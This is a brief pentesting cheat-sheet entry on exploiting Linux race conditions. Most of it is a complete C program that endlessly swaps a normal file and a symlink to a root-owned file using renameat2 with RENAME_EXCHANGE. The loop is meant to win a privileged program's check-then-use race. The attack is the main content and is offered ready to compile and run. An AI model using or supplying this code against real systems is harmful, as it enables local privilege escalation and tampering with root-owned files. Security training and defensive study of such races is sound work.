Linux Race

Exploit Linux Race Condition

Linux, swapping file paths between 2 files very quickly (normal file, symlink to root owned file, swap, swap ,swap):

#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

int main(int argc, char *argv[]) {
  while (1) {
    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
  }
  return 0;
}
